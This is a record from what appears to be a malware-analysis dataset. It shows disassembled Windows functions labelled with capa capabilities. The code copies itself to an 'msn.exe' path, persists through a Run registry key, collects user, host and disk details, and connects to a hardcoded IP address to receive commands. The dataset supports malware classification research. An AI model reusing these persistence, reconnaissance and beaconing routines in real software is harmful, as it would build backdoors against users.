joyce8/EMBER2024-capa huggingface dataset:
Function at 0x417aca
Capabilities:
Enumerate files on windows
Get common file path

Disassembly:
push edi
push esi
push ebx
sub esp, 0x254
mov edi, dword [esp + 0x264]
push 0x107
lea ebx, [esp + 8]
push ebx
call sub.KERNEL32.dll_GetWindowsDirectoryA
push 0x43e540
push ebx
call sub.msvcrt.dll_strcat
lea eax, [esp + 0x11c]
push eax
push ebx
call sub.KERNEL32.dll_FindFirstFileA
pop ecx
cmp eax, 0xffffffff
mov esi, eax
pop ebx
je 0x417b2d
push 0x140
lea ebx, [esp + 0x118]
push ebx
call edi
pop eax
pop edx
push ebx
push esi
call sub.KERNEL32.dll_FindNextFileA
test eax, eax
jne 0x417b0b
push esi
call sub.KERNEL32.dll_FindClose
call sub.KERNEL32.dll_GetCurrentProcessId
mov dword [esp], eax
push 4
lea eax, [esp + 4]
push eax
call edi
push edi
call fcn.00418897
call fcn.00417a94
add esp, 0x260
pop ebx
pop esi
pop edi
ret

Function at 0x417b8a
Capabilities:
Get memory capacity

Disassembly:
push ebp
push edi
push esi
push ebx
sub esp, 0x50
call sub.USER32.dll_GetForegroundWindow
mov dword [esp + 0xc], eax
push 4
lea ebx, [esp + 0x10]
push ebx
call fcn.0040f33e
call sub.USER32.dll_GetCapture
mov dword [esp + 0x14], eax
push 4
push ebx
call fcn.0040f33e
call sub.USER32.dll_GetClipboardOwner
mov dword [esp + 0x1c], eax
push 4
push ebx
call fcn.0040f33e
push 0xbf
call sub.USER32.dll_GetQueueStatus
mov dword [esp + 0x20], eax
push 4
lea eax, [esp + 0x24]
push eax
call fcn.0040f33e
add esp, 0x20
mov ebx, esp
push ebx
call sub.USER32.dll_GetCursorPos
push 8
push ebx
lea ebx, [esp + 0x38]
call fcn.0040f33e
push ebx
call sub.KERNEL32.dll_GlobalMemoryStatus
push 0x20
push ebx
lea ebp, [esp + 0x38]
call fcn.0040f33e
lea ebx, [esp + 0x20]
push ebp
lea edi, [esp + 0x34]
push edi
lea esi, [esp + 0x30]
push esi
push ebx
call sub.KERNEL32.dll_GetCurrentThread
push eax
call sub.KERNEL32.dll_GetThreadTimes
push 0x20
push ebx
call fcn.0040f33e
push ebp
push edi
push esi
push ebx
call sub.KERNEL32.dll_GetCurrentProcess
push eax
call sub.KERNEL32.dll_GetProcessTimes
push 0x20
push ebx
call fcn.0040f33e
add esp, 0x70
pop ebx
pop esi
pop edi
pop ebp
ret

Function at 0x417dea
Capabilities:
Get file size

Disassembly:
push ebp
push edi
push esi
push ebx
sub esp, 0x10
mov esi, dword [esp + 0x28]
mov edi, dword [esp + 0x30]
push 0
push 0
push 3
push 0
push 1
push 0x80000000
push dword [esp + 0x3c]
call sub.KERNEL32.dll_CreateFileA
mov ebx, eax
xor eax, eax
cmp ebx, 0xffffffff
je 0x417ea2
push 4
push 1
call fcn.00401771
mov dword [eax], ebx
mov ebp, eax
test esi, esi
pop eax
pop edx
je 0x417e3b
push esi
push ebx
call sub.KERNEL32.dll_GetFileSize
mov dword [esi + 4], eax
mov eax, dword [esp + 0x2c]
or eax, edi
je 0x417ea0
lea eax, [esp + 8]
push eax
lea eax, [esp + 4]
push eax
push 0
push ebx
call sub.KERNEL32.dll_GetFileTime
test edi, edi
je 0x417e77
push 0
push 0x989680
push dword [esp + 0xc]
push dword [esp + 0xc]
call fcn.00434e10
add eax, 0x49ef6f00
add esp, 0x10
mov dword [edi], eax
cmp dword [esp + 0x2c], 0
je 0x417ea0
push 0
push 0x989680
push dword [esp + 0x14]
push dword [esp + 0x14]
call fcn.00434e10
add esp, 0x10
add eax, 0x49ef6f00
mov edx, dword [esp + 0x2c]
mov dword [edx], eax
mov eax, ebp
add esp, 0x10
pop ebx
pop esi
pop edi
pop ebp
ret
Function at 0x418080
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push dword [esp + 4]
call sub.KERNEL32.dll_GetFileAttributesA
xor edx, edx
cmp eax, 0xffffffff
je 0x41809b
and eax, 0x10
cmp eax, 1
sbb edx, edx
add edx, 2
mov eax, edx
ret

Function at 0x418197
Capabilities:
Get file attributes

Disassembly:
push ebx
sub esp, 0x140
mov ebx, dword [esp + 0x148]
push ebx
call sub.KERNEL32.dll_GetFileAttributesA
inc eax
mov edx, 1
jne 0x4181ce
mov eax, esp
push eax
push ebx
call sub.KERNEL32.dll_FindFirstFileA
xor edx, edx
cmp eax, 0xffffffff
je 0x4181ce
push eax
call sub.KERNEL32.dll_FindClose
mov edx, 2
add esp, 0x140
mov eax, edx
pop ebx
ret

Function at 0x4185ec
Capabilities:
Check for time delay via gettickcount

Disassembly:
push ebx
sub esp, 0x11c
cmp dword [0x44b8e8], 0
jne 0x4186c0
call sub.KERNEL32.dll_GetTickCount
mov edx, dword [0x43b0b8]
mov ebx, eax
or eax, 0xffffffff
cmp edx, 0xffffffff
je 0x4186c8
push edx
call fcn.00417a14
pop ecx
test eax, eax
je 0x418633
push 2
push dword [0x43b0b8]
call fcn.004175a8
pop eax
pop edx
lea eax, [esp + 8]
push eax
push ebx
call fcn.00414d7a
pop edx
xor edx, edx
test eax, eax
pop ecx
je 0x418674
call sub.KERNEL32.dll_GetTickCount
mov ecx, dword [esp + 8]
mov ebx, 0x3e8
sub ecx, eax
test ecx, ecx
mov eax, 1
cmovle ecx, eax
mov eax, ecx
cdq
idiv ebx
mov dword [esp], eax
imul eax, edx, 0x3e8
mov edx, esp
mov dword [esp + 4], eax
mov dword [esp + 0xc], 1
mov eax, dword [0x43b0b8]
mov dword [esp + 0x10], eax
push edx
push 0
push 0
lea eax, [esp + 0x18]
push eax
push 1
call dword [0x44b8c8]
test eax, eax
jl 0x4186bb
jne 0x4186a3
mov ebx, dword [esp + 8]
jmp 0x418633
call sub.KERNEL32.dll_GetTickCount
push 1
push dword [0x43b0b8]
call fcn.004175a8
pop ecx
xor eax, eax
pop ebx
jmp 0x4186c8
or eax, 0xffffffff
jmp 0x4186c8
push 0xffffffffffffffff
call fcn.0041842b
pop edx
add esp, 0x11c
pop ebx
ret

Function at 0x4186d0
Capabilities:
Delete file

Disassembly:
push esi
test edx, edx
mov ecx, edx
push ebx
mov esi, dword [esp + 0xc]
mov ebx, eax
jne 0x4186ef
push eax
call sub.msvcrt.dll_remove
mov dword [esi], 0xffffffff
xor eax, eax
pop edx
jmp 0x418735
push 0
cmp edx, 2
mov eax, pe_nt_image_headers32
mov edx, 0
cmovne eax, edx
setne dl
push eax
movzx eax, dl
add eax, 2
push eax
movzx eax, dl
lea eax, [eax + eax*2]
push 0
cmp ecx, 2
mov edx, 0x80000000
push eax
mov eax, 0x40000000
cmovne eax, edx
push eax
push ebx
call sub.KERNEL32.dll_CreateFileA
mov dword [esi], eax
inc eax
setne al
movzx eax, al
pop ebx
pop esi
ret
Function at 0x418738
Capabilities:
Get common file path
Query environment variable

Disassembly:
push esi
mov esi, eax
push ebx
sub esp, 0x224
movzx eax, word [0x43e5e0]
mov word [esp + 4], ax
lea eax, [esp + 6]
push 0x210
push 0
push eax
call sub.msvcrt.dll_memset
add esp, 0xc
cmp dword [0x445370], 0
jne 0x41878e
push str.SHELL32.DLL
call sub.KERNEL32.dll_LoadLibraryA
mov dword [0x445360], eax
test eax, eax
je 0x41878e
push str.SHGetFolderPathA
push eax
call sub.KERNEL32.dll_GetProcAddress
mov dword [0x445350], eax
mov eax, dword [0x445350]
test eax, eax
je 0x418805
lea ebx, [esp + 4]
push ebx
push 0
push 0
push 0x1c
push 0
call eax
test eax, eax
js 0x4187ce
push str.PUTTY.RND
push ebx
call sub.msvcrt.dll_strcat
lea eax, [esp + 8]
mov edx, esi
push eax
mov eax, ebx
call fcn.004186d0
add esp, 0xc
test eax, eax
jne 0x418853
lea ebx, [esp + 4]
push ebx
push 0
push 0
push 0x1a
push 0
call dword [0x445350]
test eax, eax
js 0x418805
push str.PUTTY.RND
push ebx
call sub.msvcrt.dll_strcat
lea eax, [esp + 8]
mov edx, esi
push eax
mov eax, ebx
call fcn.004186d0
add esp, 0xc
test eax, eax
jne 0x418853
push 0x212
lea ebx, [esp + 8]
push ebx
push str.HOMEDRIVE
call sub.KERNEL32.dll_GetEnvironmentVariableA
mov edx, 0x212
sub edx, eax
lea eax, [ebx + eax]
push edx
push eax
push str.HOMEPATH
call sub.KERNEL32.dll_GetEnvironmentVariableA
test eax, eax
je 0x418858
push str.PUTTY.RND
push ebx
call sub.msvcrt.dll_strcat
lea eax, [esp + 8]
mov edx, esi
push eax
mov eax, ebx
call fcn.004186d0
add esp, 0xc
test eax, eax
je 0x418858
mov edx, dword [esp]
jmp 0x41888c
push 0x212
lea ebx, [esp + 8]
push ebx
call sub.KERNEL32.dll_GetWindowsDirectoryA
push str.PUTTY.RND
push ebx
call sub.msvcrt.dll_strcat
lea eax, [esp + 8]
mov edx, esi
push eax
mov eax, ebx
call fcn.004186d0
add esp, 0xc
or edx, 0xffffffff
test eax, eax
cmovne edx, dword [esp]
add esp, 0x224
mov eax, edx
pop ebx
pop esi
ret

Function at 0x418897
Capabilities:
Read file on windows

Disassembly:
push edi
mov eax, 1
push esi
push ebx
sub esp, 0x404
mov edi, dword [esp + 0x414]
call fcn.00418738
cmp eax, 0xffffffff
mov ebx, eax
je 0x4188e8
push 0
lea eax, [esp + 4]
push eax
push 0x400
lea esi, [esp + 0x10]
push esi
push ebx
call sub.KERNEL32.dll_ReadFile
test eax, eax
je 0x4188e2
mov eax, dword [esp]
test eax, eax
je 0x4188e2
push eax
push esi
call edi
pop ecx
pop esi
jmp 0x4188b8
push ebx
call sub.KERNEL32.dll_CloseHandle
add esp, 0x404
pop ebx
pop esi
pop edi
ret

Function at 0x4188f2
Capabilities:
Write file on windows

Disassembly:
push ebx
push eax
mov eax, 2
call fcn.00418738
cmp eax, 0xffffffff
mov ebx, eax
je 0x418920
push 0
lea eax, [esp + 4]
push eax
push dword [esp + 0x18]
push dword [esp + 0x18]
push ebx
call sub.KERNEL32.dll_WriteFile
push ebx
call sub.KERNEL32.dll_CloseHandle
pop eax
pop ebx
ret
Function at 0x41b2a9
Capabilities:
Check if file exists
Create directory
Get file attributes
Set file attributes

Disassembly:
push esi
push ebx
sub esp, 0x30
mov esi, dword [esp + 0x3c]
push 1
lea ebx, [esp + 4]
push ebx
call sub.ADVAPI32.DLL_InitializeSecurityDescriptor
push 0
push 0
push 1
push ebx
call sub.ADVAPI32.DLL_SetSecurityDescriptorDacl
push 0
push 0
push ebx
call sub.ADVAPI32.DLL_SetSecurityDescriptorGroup
push 0
push 0
push 0
push ebx
call sub.ADVAPI32.DLL_SetSecurityDescriptorSacl
mov dword [esp + 0x20], 0xc
mov dword [esp + 0x24], ebx
mov dword [esp + 0x28], 1
push esi
call sub.KERNEL32.dll_GetFileAttributesA
cmp eax, 0xffffffff
je 0x41b308
test al, 0x10
mov edx, 1
jne 0x41b329
lea eax, [esp + 0x20]
push eax
push esi
call sub.KERNEL32.dll_CreateDirectoryA
xor edx, edx
test eax, eax
je 0x41b329
push 0x2006
push esi
call sub.KERNEL32.dll_SetFileAttributesA
mov edx, 1
add esp, 0x30
mov eax, edx
pop ebx
pop esi
ret

Function at 0x41b331
Capabilities:
Copy file
Create process on windows
Persist via run registry key
Query environment variable

Disassembly:
push ebp
mov eax, 0x1830
push edi
push esi
push ebx
call fcn.00434ad0
mov ebx, esp
push 0x2e
push str.SoftwareMicrosoftWindowsCurrentVersionRun
push ebx
call sub.msvcrt.dll_memcpy
push 0x18
call sub.msvcrt.dll_malloc
push str.PROGRAMFILES
mov esi, eax
call sub.msvcrt.dll_getenv
push str.SYSTEMDRIVE
mov dword [esi], eax
call sub.msvcrt.dll_getenv
push str.ALLUSERSPROFILE
mov dword [esi + 4], eax
call sub.msvcrt.dll_getenv
push str.USERPROFILE
mov dword [esi + 8], eax
call sub.msvcrt.dll_getenv
mov dword [esi + 0xc], eax
add esp, 0x20
push 0x43e994
call sub.msvcrt.dll_getenv
push 0x43e99c
push ebx
push 0x80000002
mov dword [esi + 0x10], eax
mov dword [esi + 0x14], 0
call fcn.0041f114
add esp, 0x10
test eax, eax
je 0x41b4b5
push 0x43e99c
push ebx
push 0x80000001
call fcn.0041f114
add esp, 0xc
test eax, eax
je 0x41b4b5
xor ebp, ebp
cmp dword [esi], 0
je 0x41b4ae
push dword [esi + ebp*4]
push str._swin
lea ebx, [esp + 0x1038]
push ebx
call sub.msvcrt.dll_sprintf
push ebx
call fcn.0041b2a9
add esp, 0x10
test eax, eax
je 0x41b4a4
push ebx
push str._smsn.exe
lea edi, [esp + 0x38]
push edi
call sub.msvcrt.dll_sprintf
push 0x800
lea ebx, [esp + 0x840]
push ebx
push 0
call sub.KERNEL32.dll_GetModuleFileNameA
push 0
push edi
push ebx
call sub.KERNEL32.dll_CopyFileA
add esp, 0xc
test eax, eax
je 0x41b4a4
push edi
push 0x43e99c
lea ebx, [esp + 8]
push ebx
push 0x80000002
call fcn.0041f207
add esp, 0x10
test eax, eax
je 0x41b47b
push edi
push 0x43e99c
push ebx
push 0x80000001
call fcn.0041f207
add esp, 0x10
test eax, eax
je 0x41b47b
push str.RegK_not_written
call fcn.0041b24c
pop edx
push 0
lea eax, [esp + 0x1034]
push eax
push 0
lea eax, [esp + 0x3c]
push eax
push 0x43e9c4
push 0
call sub.SHELL32.DLL_ShellExecuteA
cmp eax, 0x20
jle 0x41b4a4
push 0
call sub.msvcrt.dll_exit
inc ebp
cmp dword [esi + ebp*4], 0
jmp 0x41b3dc
push esi
call fcn.0043aa78
pop eax
add esp, 0x1830
pop ebx
pop esi
pop edi
pop ebp
ret
Function at 0x41b4c0
Capabilities:
Get common file path
Get disk information
Get hostname
Get session user name
Query environment variable

Disassembly:
push ebp
push edi
push esi
push ebx
sub esp, 0xa0c
mov dword [esp + 8], 0x100
mov dword [esp + 4], 0
push 0x800
lea ebp, [esp + 0x10]
push ebp
push 0
call sub.KERNEL32.dll_GetModuleFileNameA
push 0x70
push 1
call sub.msvcrt.dll_calloc
push 0x100
mov ebx, eax
mov dword [0x4453c8], eax
call sub.msvcrt.dll_malloc
mov dword [ebx + 4], eax
mov eax, dword [0x4453c8]
push 0x100
push dword [eax + 4]
call sub.KERNEL32.dll_GetWindowsDirectoryA
push 0x10
mov ebx, dword [0x4453c8]
call sub.msvcrt.dll_malloc
mov dword [ebx], eax
mov eax, dword [0x4453c8]
push 3
push dword [eax + 4]
push dword [eax]
call sub.msvcrt.dll_strncpy
mov dword [esp + 0x24], 0x100
mov ebx, dword [0x4453c8]
push 0x100
call sub.msvcrt.dll_malloc
mov dword [ebx + 8], eax
add esp, 0x20
mov eax, dword [0x4453c8]
lea esi, [esp + 8]
push esi
push dword [eax + 8]
call sub.ADVAPI32.DLL_GetUserNameA
mov dword [esp + 8], 0x100
mov ebx, dword [0x4453c8]
push 0x100
call sub.msvcrt.dll_malloc
mov dword [ebx + 0xc], eax
mov eax, dword [0x4453c8]
push esi
push dword [eax + 0xc]
call sub.KERNEL32.dll_GetComputerNameA
push 0x100
mov ebx, dword [0x4453c8]
call sub.msvcrt.dll_malloc
mov dword [ebx + 0x10], eax
mov eax, dword [0x4453c8]
push dword [eax + 0x10]
push 0x100
call sub.KERNEL32.dll_GetTempPathA
push 0x43e994
mov ebx, dword [0x4453c8]
call sub.msvcrt.dll_getenv
cld
xor edx, edx
or ecx, 0xffffffff
mov dword [ebx + 0x14], eax
mov eax, dword [0x4453c8]
mov byte [eax + 0x64], 0
mov ebx, dword [0x4453c8]
mov al, dl
mov dword [ebx + 0x1c], 0xea60
mov esi, dword [ebx + 8]
mov edi, esi
repne scasb al, byte es:[edi]
mov edi, dword [ebx + 0xc]
not ecx
mov dword [esp + 0xc], ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov eax, dword [esp + 0xc]
not ecx
lea ecx, [ecx + eax + 0x81]
push ecx
call sub.msvcrt.dll_malloc
mov dword [ebx + 0x18], eax
push 0x800
push ebp
push 0
call sub.KERNEL32.dll_GetModuleFileNameA
mov byte [esp + 0x1f], 0
push 0xff
lea eax, [esp + 0x820]
push eax
push 0
push 0
lea eax, [esp + 0x24]
push eax
push 0xff
lea eax, [esp + 0x934]
push eax
push ebp
call sub.KERNEL32.dll_GetVolumeInformationA
push dword [esp + 0x14]
mov eax, dword [0x4453c8]
push dword [eax + 0xc]
push dword [eax + 8]
push str._s__s__X
push dword [eax + 0x18]
call sub.msvcrt.dll_sprintf
add esp, 0xa30
pop ebx
pop esi
pop edi
pop ebp
ret
Function at 0x41c3ac
Capabilities:
Enumerate files on windows
Enumerate files recursively

Disassembly:
push ebp
mov ebp, edx
push edi
mov edi, edx
push esi
push ebx
sub esp, 0x15c
or ebx, 0xffffffff
mov dword [esp + 8], eax
cld
xor eax, eax
mov ecx, ebx
repne scasb al, byte es:[edi]
mov edi, dword [esp + 8]
mov edx, ecx
mov ecx, ebx
repne scasb al, byte es:[edi]
not ecx
sub ecx, edx
push ecx
call sub.msvcrt.dll_malloc
mov dword [esp + 4], eax
push ebp
push dword [esp + 0x10]
push 0x43eab0
push eax
call sub.msvcrt.dll_sprintf
lea eax, [esp + 0x30]
push eax
push dword [esp + 0x18]
call sub.KERNEL32.dll_FindFirstFileA
mov dword [esp + 0x18], eax
add esp, 0x14
test eax, eax
je 0x41c585
inc eax
je 0x41c585
push ebp
call sub.msvcrt.dll__strdup
pop esi
mov ebx, eax
xor eax, eax
cmp byte [ebx], 0
je 0x41c435
cmp byte [ebx + eax], 0x26
jne 0x41c42e
mov byte [ebx + eax], 0x2a
inc eax
cmp byte [ebx + eax], 0
jmp 0x41c422
push ebx
mov eax, dword [0x4453c8]
push str._d_n__s___n
push dword [eax + 0x68]
call sub.msvcrt.dll_fprintf
push ebx
call fcn.0043aa78
add esp, 0x10
lea esi, [esp + 0x48]
push 0x43eac3
push esi
call sub.msvcrt.dll_strcmp
pop edx
test eax, eax
pop ecx
je 0x41c4ca
push 0x43eac5
push esi
call sub.msvcrt.dll_strcmp
pop ebx
test eax, eax
pop edi
je 0x41c4ca
test byte [esp + 0x1c], 0x10
je 0x41c4ca
cld
xor edx, edx
mov al, dl
mov edi, ebp
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov edi, dword [esp + 8]
mov ebx, ecx
or ecx, 0xffffffff
not ebx
repne scasb al, byte es:[edi]
not ecx
add ecx, ebx
push ecx
call sub.msvcrt.dll_malloc
push ebp
mov ebx, eax
push dword [esp + 0x10]
push 0x43eac8
push eax
call sub.msvcrt.dll_sprintf
mov edx, esi
mov eax, ebx
call fcn.0041c3ac
push ebx
call fcn.0043aa78
add esp, 0x18
jmp 0x41c552
lea ebx, [esp + 0x48]
push 0x43eac3
push ebx
call sub.msvcrt.dll_strcmp
pop edx
test eax, eax
pop ecx
je 0x41c552
push 0x43eac5
push ebx
call sub.msvcrt.dll_strcmp
pop esi
test eax, eax
pop edi
je 0x41c552
push ebx
call sub.msvcrt.dll__strdup
pop ecx
mov ebx, eax
xor eax, eax
cmp byte [ebx], 0
je 0x41c511
cmp byte [ebx + eax], 0x26
jne 0x41c50a
mov byte [ebx + eax], 0x2a
inc eax
cmp byte [ebx + eax], 0
jmp 0x41c4fe
lea eax, [esp + 0xc]
push eax
lea eax, [esp + 0x24]
push eax
call sub.KERNEL32.dll_FileTimeToSystemTime
movzx eax, word [esp + 0x12]
push eax
movzx eax, word [esp + 0x12]
push eax
movzx eax, word [esp + 0x14]
push eax
mov eax, dword [0x4453c8]
push dword [esp + 0x48]
push ebx
push str._f_n__s__s__lu__d__d__d__d____n
push dword [eax + 0x68]
call sub.msvcrt.dll_fprintf
push ebx
call fcn.0043aa78
add esp, 0x20
lea eax, [esp + 0x1c]
push eax
push dword [esp + 8]
call sub.KERNEL32.dll_FindNextFileA
test eax, eax
jne 0x41c451
mov eax, dword [0x4453c8]
push dword [eax + 0x68]
push str.__d__n
call sub.msvcrt.dll_fputs
push dword [esp + 0xc]
call sub.KERNEL32.dll_FindClose
pop eax
pop edx
push dword [esp]
call fcn.0043aa78
add esp, 0x160
pop ebx
pop esi
pop edi
pop ebp
ret

Function at 0x41c940
Capabilities:
Initialize winsock library

Disassembly:
sub esp, 0x190
mov eax, esp
push eax
push 0x202
call sub.WS2_32.dll_WSAStartup
add esp, 0x190
ret
Function at 0x41c95a
Capabilities:
Create tcp socket
Create udp socket

Disassembly:
push 0
push 1
push 2
call sub.WS2_32.dll_socket
mov edx, dword [esp + 4]
mov dword [edx], eax
inc eax
setne al
movzx eax, al
dec eax
ret

Function at 0x41c974
Capabilities:
Connect socket

Disassembly:
sub esp, 0x10
mov dword [esp], 0
mov dword [esp + 4], 0
mov dword [esp + 8], 0
mov dword [esp + 0xc], 0
push str.87.98.185.184
call sub.WS2_32.dll_inet_addr
mov dword [esp + 4], eax
mov word [esp], 2
push 0x227d
call sub.WS2_32.dll_htons
mov word [esp + 2], ax
push 0x10
lea eax, [esp + 4]
push eax
push dword [esp + 0x1c]
call sub.WS2_32.dll_connect
add esp, 0x10
ret

Function at 0x41c9cd
Capabilities:
Get disk information

Disassembly:
push ebp
push edi
push esi
push ebx
sub esp, 0x218
mov dword [esp + 4], 0
push 1
call sub.msvcrt.dll_malloc
mov byte [eax], 0
mov esi, eax
mov byte [esp + 0xf], 0x61
pop ecx
mov dword [esp], 0x61
movzx eax, byte [esp + 0xb]
mov byte [esp + 0x15], 0x3a
mov byte [esp + 0x16], 0x5c
mov byte [esp + 0x17], 0
mov byte [esp + 0x14], al
push 0xff
lea ecx, [esp + 0x1c]
push ecx
lea eax, [esp + 0x18]
push eax
lea eax, [esp + 0x18]
push eax
push 0
push 0xff
lea ebx, [esp + 0x130]
push ebx
lea eax, [esp + 0x30]
push eax
call sub.KERNEL32.dll_GetVolumeInformationA
test eax, eax
je 0x41cad2
cld
or ebp, 0xffffffff
xor eax, eax
mov edi, ebx
mov ecx, ebp
repne scasb al, byte es:[edi]
mov edx, ecx
lea edi, [esp + 0x18]
mov ecx, ebp
repne scasb al, byte es:[edi]
neg ecx
sub ecx, edx
push ecx
call sub.msvcrt.dll_malloc
pop edx
mov edi, eax
lea eax, [esp + 0x18]
push eax
push ebx
mov ebx, edi
push dword [esp + 8]
push str._c_s_s
push edi
call sub.msvcrt.dll_sprintf
add esp, 0x14
test edi, edi
je 0x41cad2
cmp dword [esp + 4], 0
je 0x41cac5
cld
mov edi, esi
xor eax, eax
mov ecx, ebp
repne scasb al, byte es:[edi]
mov edx, ecx
mov edi, ebx
mov ecx, ebp
repne scasb al, byte es:[edi]
not edx
not ecx
add ecx, edx
push ecx
push esi
call sub.msvcrt.dll_realloc
push ebx
mov esi, eax
push eax
push 0x43eb8b
push eax
call sub.msvcrt.dll_sprintf
push ebx
call fcn.0043aa78
add esp, 0x1c
jmp 0x41cace
push esi
mov esi, edi
call fcn.0043aa78
pop eax
inc dword [esp + 4]
inc byte [esp + 0xb]
inc dword [esp]
cmp byte [esp + 0xb], 0x7a
jle 0x41c9f8
add esp, 0x218
mov eax, esi
pop ebx
pop esi
pop edi
pop ebp
ret
Function at 0x41caf1
Capabilities:
Query or enumerate registry key

Disassembly:
push ebp
push edi
push esi
push ebx
sub esp, 0x23c
movzx eax, byte [0x43eb91]
mov byte [esp + 0x2c], al
lea eax, [esp + 0x2d]
push 0x103
push 0
push eax
call sub.msvcrt.dll_memset
mov dword [esp + 0x10], 0x104
lea eax, [esp + 0x30]
mov dword [esp + 0x14], 0
push eax
lea eax, [esp + 0x30]
push eax
lea eax, [esp + 0x30]
push eax
lea eax, [esp + 0x30]
push eax
lea eax, [esp + 0x30]
push eax
lea eax, [esp + 0x30]
push eax
lea eax, [esp + 0x30]
push eax
lea eax, [esp + 0x30]
push eax
push 0
lea eax, [esp + 0x34]
push eax
lea eax, [esp + 0x60]
push eax
push dword [esp + 0x288]
call sub.ADVAPI32.DLL_RegQueryInfoKeyA
add esp, 0xc
mov eax, dword [esp + 8]
test eax, eax
je 0x41cbef
xor ebp, ebp
cmp ebp, eax
jae 0x41cbef
mov dword [esp], 0xff
lea eax, [esp + 0x24]
push eax
push 0
push 0
push 0
lea eax, [esp + 0x10]
push eax
lea esi, [esp + 0x150]
push esi
push ebp
push dword [esp + 0x26c]
call sub.ADVAPI32.DLL_RegEnumKeyExA
test eax, eax
jne 0x41cbe8
cld
or ecx, 0xffffffff
mov edi, esi
repne scasb al, byte es:[edi]
not ecx
add ecx, 0x37
push ecx
call sub.msvcrt.dll_malloc
push str.SOFTWAREMicrosoftWindowsCurrentVersionRun
mov ebx, eax
push esi
push 0x43ecc3
push eax
call sub.msvcrt.dll_sprintf
push str.apo5
push ebx
push 0x80000003
call fcn.0041f265
add esp, 0x20
push ebx
call fcn.0043aa78
pop ebx
inc ebp
cmp ebp, dword [esp + 8]
jmp 0x41cb76
add esp, 0x23c
pop ebx
pop esi
pop edi
pop ebp
ret

Function at 0x41cbfa
Capabilities:
Receive data
Receive data on socket

Disassembly:
push ebp
push edi
push esi
push ebx
push edi
push edi
mov dword [esp], 0
push 0
push 2
lea eax, [esp + 0xe]
push eax
push dword [esp + 0x28]
call sub.WS2_32.dll_recv
xor edx, edx
cmp eax, 2
jne 0x41ccf7
movzx eax, byte [esp + 6]
mov edx, dword [0x4453c8]
or byte [edx + 0x64], al
mov edx, dword [0x4453c8]
movzx eax, byte [esp + 7]
imul eax, eax, 0x1388
mov dword [edx + 0x1c], eax
push 0
push 2
lea eax, [esp + 0xc]
push eax
push dword [esp + 0x28]
call sub.WS2_32.dll_recv
xor edx, edx
cmp eax, 2
jne 0x41ccf7
jmp 0x41cc76
push dword [ebx]
call fcn.0043aa78
push ebx
call fcn.0043aa78
pop ebx
pop esi
jmp 0x41ccf4
movzx eax, byte [esp + 4]
xor edi, edi
movzx edx, byte [esp + 5]
shl eax, 8
lea ebp, [eax + edx]
cmp dword [esp], ebp
jae 0x41ccf4
push 0
push 2
lea eax, [esp + 0xc]
push eax
push dword [esp + 0x28]
call sub.WS2_32.dll_recv
cmp eax, 2
jne 0x41ccf4
movzx eax, byte [esp + 4]
movzx edx, byte [esp + 5]
shl eax, 8
mov esi, eax
add esi, edx
je 0x41ccf4
push 8
call sub.msvcrt.dll_malloc
mov ebx, eax
lea eax, [esi + 1]
push eax
call sub.msvcrt.dll_malloc
mov dword [ebx], eax
push 0
push esi
push eax
push dword [esp + 0x30]
call sub.WS2_32.dll_recv
mov edx, eax
cmp edx, esi
pop eax
pop ecx
jne 0x41cc65
mov eax, dword [ebx]
inc edi
cmp edi, ebp
mov byte [eax + edx], 0
mov eax, dword [esp]
mov dword [esp], ebx
mov dword [ebx + 4], eax
jmp 0x41cc8b
mov edx, dword [esp]
pop esi
mov eax, edx
pop edi
pop ebx
pop esi
pop edi
pop ebp
ret
Function at 0x41dc5c
Capabilities:
Hash data using sha1
Hash data using sha1 via wincrypt
Hash data via wincrypt
Initialize hashing via wincrypt

Disassembly:
push edi
push esi
push ebx
sub esp, 0xb0
mov edi, dword [esp + 0xc4]
mov ebx, dword [esp + 0xc0]
mov byte [edi], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
push 0
push 1
push 0
push 0
lea eax, [esp + 0x1c]
push eax
call sub.ADVAPI32.DLL_CryptAcquireContextA
lea eax, [esp + 8]
push eax
push 0
push 0
push 0x8004
push dword [esp + 0x1c]
call sub.ADVAPI32.DLL_CryptCreateHash
test eax, eax
je 0x41dd63
push 0
push ebx
call sub.KERNEL32.dll_lstrlenW
lea eax, [eax + eax + 2]
push eax
push ebx
push dword [esp + 0x14]
call sub.ADVAPI32.DLL_CryptHashData
test eax, eax
je 0x41dd63
mov dword [esp + 4], 0x14
push 0
lea eax, [esp + 8]
push eax
lea eax, [esp + 0x98]
push eax
push 2
push dword [esp + 0x18]
call sub.ADVAPI32.DLL_CryptGetHashParam
test eax, eax
je 0x41dd63
mov byte [esp + 3], 0
xor esi, esi
push dword [esp + 8]
call sub.ADVAPI32.DLL_CryptDestroyHash
push 0
push dword [esp + 0x10]
call sub.ADVAPI32.DLL_CryptReleaseContext
movzx eax, byte [esp + esi + 0x90]
inc esi
add byte [esp + 3], al
movzx eax, al
push eax
push edi
push str._s_2.2X
lea ebx, [esp + 0x1c]
push ebx
call sub.USER32.dll_wsprintfA
push ebx
push edi
call sub.KERNEL32.dll_lstrcpyA
add esp, 0x10
cmp esi, 0x13
jle 0x41dd17
movzx eax, byte [esp + 3]
push eax
push edi
push str._s_2.2X
push ebx
call sub.USER32.dll_wsprintfA
push ebx
push edi
call sub.KERNEL32.dll_lstrcpyA
add esp, 0x10
add esp, 0xb0
pop ebx
pop esi
pop edi
ret